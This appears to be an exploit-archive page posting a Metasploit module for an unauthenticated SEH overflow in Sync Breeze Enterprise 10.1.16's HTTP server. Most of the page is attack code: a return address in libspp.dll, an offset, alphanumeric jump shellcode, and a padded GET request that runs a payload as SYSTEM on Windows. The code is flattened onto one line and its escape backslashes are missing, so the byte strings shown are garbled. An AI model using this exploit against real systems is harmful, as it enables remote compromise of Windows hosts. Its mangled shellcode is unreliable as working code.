Home / os / winmobile

SyncBreeze 10.1.16 SEH GET Overflow

Posted on 13 October 2017

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'SyncBreeze v10.1.16 SEH GET Overflow', 'Description' => %q{ There exists an unauthenticated SEH based vulnerability in the HTTP server of Sync Breeze Enterprise v10.1.16, when sending a GET request with an excessive length it is possible for a malicious user to overwrite the SEH record and execute a payload that would run under the Windows NT AUTHORITYSYSTEM account. The SEH record is overwritten with a "POP,POP,RET" pointer from the application library libspp.dll. This exploit has been successfully tested on Windows XP, 7 and 10 (x86->x64). It should work against all versions of Windows and service packs. }, 'Author' => 'wetw0rk', 'License' => MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 800, 'EncoderType' => "alpha_upper", 'BadChars' => "x00x0ax0d" }, 'Platform' => 'win', 'Targets' => [ ['Windows XP/7/10 (SyncBreez Enterprise v10.1.16)', { 'Ret' => 0x1001C65C, 'Offset' => 2495 }] ], 'DisclosureDate' => 'October 11 2017', 'DefaultTarget' => 0)) register_options([Opt::RPORT(80)]) end def exploit connect print_status("Trying #{target.name}") # Make the JMP to the payload, else JMP into the A's acting as NOP's # Using AlphaNum technique learned from Mut's in OSCE (aka a legend) jumpcode = "x25x4ax4dx4ex55" # and eax,0x554e4d4a jumpcode << "x25x35x32x31x2a" # and eax,0x2a313235 jumpcode << "x2dx37x37x37x37" # sub eax,0x37373737 jumpcode << "x2dx74x74x74x74" # sub eax,0x74747474 jumpcode << "x2dx55x54x55x70" # sub eax,0x70555455 jumpcode << "x50" # push eax jumpcode << "x25x4ax4dx4ex55" # and eax,0x554e4d4a jumpcode << "x25x35x32x31x2a" # and eax,0x2a313235 jumpcode << "x2dx2dx76x7ax63" # sub eax,0x637a762d jumpcode << "x2dx2dx76x7ax30" # sub eax,0x307a762d jumpcode << "x2dx25x50x7ax30" # sub eax,0x307a5025 jumpcode << "x50" # push eax jumpcode << "xffxe4" # jmp esp # greetz to kluo, and abatchy17 sploit = payload.encoded sploit << 'A' * (target['Offset'] - payload.encoded.length) sploit << "x74x06x75x06" sploit << [target.ret].pack('V') sploit << jumpcode sploit << 'A' * (9067 - (target['Offset'] + payload.encoded.length + 8 + jumpcode.length)) send_request_cgi( 'uri' => '/' + sploit, 'method' => 'GET', 'host' => '4.2.2.2', 'connection' => 'keep-alive' ) handler disconnect end end

 

TOP

Malware :